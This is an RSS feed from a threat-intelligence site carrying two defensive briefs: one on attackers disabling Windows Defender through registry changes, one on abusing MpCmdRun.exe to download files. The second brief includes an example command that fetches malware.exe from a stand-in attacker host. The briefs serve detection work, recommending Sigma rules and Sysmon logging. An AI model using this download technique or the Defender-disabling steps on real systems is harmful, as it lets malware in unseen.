<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Windows Defender Antivirus - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/windows-defender-antivirus/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Sat, 27 Jan 2024 12:00:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/windows-defender-antivirus/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Potential Disabling of Windows Defender Antivirus via Registry Modification</title><link>https://feed.craftedsignal.io/briefs/2024-01-27-disable-defender-registry/</link><pubDate>Sat, 27 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-27-disable-defender-registry/</guid><description>An attacker might attempt to disable Windows Defender Antivirus by modifying specific registry keys, potentially leading to a system vulnerable to malware and other threats.</description><content:encoded><![CDATA[<p>This brief addresses the potential disabling of Windows Defender Antivirus through modification of specific registry keys. While the provided source material is simply a link to a Splunk detection rule and a GitHub repository, it is important to consider that attackers often attempt to disable or tamper with endpoint detection and response (EDR) solutions to evade detection. This technique involves manipulating registry settings that control the behavior of Windows Defender, potentially rendering the system unprotected against malware. Since the source is a detection rule focused on registry changes related to disabling Defender, we can infer that this behavior has been observed and is considered a security risk. Disabling Defender via registry modifications can be done manually or via automated scripts and tools, allowing attackers to operate undetected.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Access:</strong> The attacker gains initial access to the system through various means (e.g., phishing, exploiting a vulnerability, or compromised credentials).</li>
<li><strong>Privilege Escalation (if needed):</strong> The attacker may need to escalate privileges to modify the registry keys. Tools like <code>PowerShell</code> or <code>cmd.exe</code> with administrative rights are used.</li>
<li><strong>Identify Target Registry Keys:</strong> The attacker identifies the specific registry keys that control Windows Defender's real-time protection and other security features. These keys are typically located under <code>HKLM\SOFTWARE\Policies\Microsoft\Windows Defender</code>.</li>
<li><strong>Modify Registry Keys:</strong> The attacker uses tools like <code>reg.exe</code> or <code>PowerShell</code> to modify the identified registry keys. They might set values to disable real-time monitoring, cloud-delivered protection, or other security features.</li>
<li><strong>Verify Changes:</strong> The attacker verifies that the registry modifications have taken effect and that Windows Defender's real-time protection is disabled.</li>
<li><strong>Deploy Malware:</strong> With Defender disabled, the attacker deploys malware or performs other malicious activities without being detected by the antivirus.</li>
<li><strong>Lateral Movement &amp; Data Exfiltration/Encryption:</strong> The attacker moves laterally within the network, exfiltrates sensitive data, or deploys ransomware to encrypt systems.</li>
<li><strong>Impact:</strong> The attacker achieves their objective, which may include data theft, financial gain, or disruption of services.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful disabling of Windows Defender Antivirus can have significant consequences. It renders the affected system vulnerable to malware infections, data breaches, and other security incidents. This can lead to financial losses, reputational damage, and legal liabilities. Organizations in all sectors are at risk, but those handling sensitive data or critical infrastructure are particularly vulnerable. A successful attack can result in widespread system compromise and significant disruption of business operations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule provided below to your SIEM to detect suspicious registry modifications related to disabling Windows Defender (see <code>rules</code>).</li>
<li>Enable Sysmon registry event logging to capture the necessary events for the Sigma rule to function correctly (see <code>rules</code>).</li>
<li>Monitor process creation events for unusual processes (e.g., <code>cmd.exe</code>, <code>powershell.exe</code>) modifying registry keys related to Windows Defender (see <code>rules</code>).</li>
<li>Regularly review and audit registry settings related to Windows Defender to ensure they have not been tampered with.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>windowsdefender</category><category>registry</category><category>antivirus</category><category>disable</category><category>malware</category></item><item><title>MpCmdRun Used for Remote File Download</title><link>https://feed.craftedsignal.io/briefs/2024-01-03-mpcmdrun-file-download/</link><pubDate>Wed, 03 Jan 2024 14:30:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-03-mpcmdrun-file-download/</guid><description>Attackers are abusing the Windows Defender command-line utility, MpCmdRun.exe, to download malicious files from remote URLs, enabling them to introduce malware or offensive tooling into compromised environments.</description><content:encoded><![CDATA[<p>Attackers are increasingly leveraging legitimate, signed utilities for malicious purposes, a tactic known as &quot;living off the land.&quot; In this instance, adversaries are abusing the Windows Defender command-line utility, <code>MpCmdRun.exe</code>, to download files from remote URLs. This tool, normally used for managing Windows Defender Antivirus, can be misused with the <code>-DownloadFile</code>, <code>-url</code>, and <code>-path</code> parameters to retrieve and save arbitrary files. This technique allows attackers to bypass traditional download protections and introduce malware or offensive tooling into a compromised system. This activity has been observed since at least September 2020. Defenders need to be aware of the abuse potential of built-in tools like <code>MpCmdRun.exe</code> to identify and prevent such attacks.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to a Windows system (e.g., via phishing or exploiting a vulnerability).</li>
<li>The attacker uses <code>MpCmdRun.exe</code> to download a malicious payload from a remote server using the <code>-DownloadFile</code>, <code>-url</code>, and <code>-path</code> arguments. For example: <code>MpCmdRun.exe -DownloadFile -url http://evil.com/malware.exe -path C:\Temp\malware.exe</code>.</li>
<li><code>MpCmdRun.exe</code> connects to the remote server hosting the malicious file via HTTP or HTTPS.</li>
<li>The remote server responds with the malicious payload, which is downloaded and saved to the specified path.</li>
<li>The attacker executes the downloaded payload (e.g., malware, offensive tooling) using another command execution technique, such as PowerShell or <code>cmd.exe</code>.</li>
<li>The executed payload establishes persistence, such as creating a scheduled task or modifying registry run keys.</li>
<li>The attacker performs lateral movement within the network, leveraging the compromised host.</li>
<li>The attacker achieves their objective, such as data exfiltration or ransomware deployment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation enables attackers to introduce malware or offensive tools into the target environment, bypassing traditional security measures due to the use of a signed Microsoft binary. This can lead to data theft, system compromise, or ransomware deployment. While specific victim numbers and sectors are not available, the widespread use of Windows Defender makes this a potentially broad threat.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule provided to detect <code>MpCmdRun.exe</code> being used to download remote files, and tune for your environment.</li>
<li>Enable Sysmon process creation logging to capture command-line arguments of processes, which is required for the provided Sigma rule.</li>
<li>Investigate any instances of <code>MpCmdRun.exe</code> executing with the <code>-DownloadFile</code>, <code>-url</code>, and <code>-path</code> arguments in your environment (reference the Sigma rule).</li>
<li>Monitor network connections initiated by <code>MpCmdRun.exe</code> to identify potentially malicious downloads (reference network connection logs).</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>living-off-the-land</category><category>file-download</category><category>windows</category></item></channel></rss>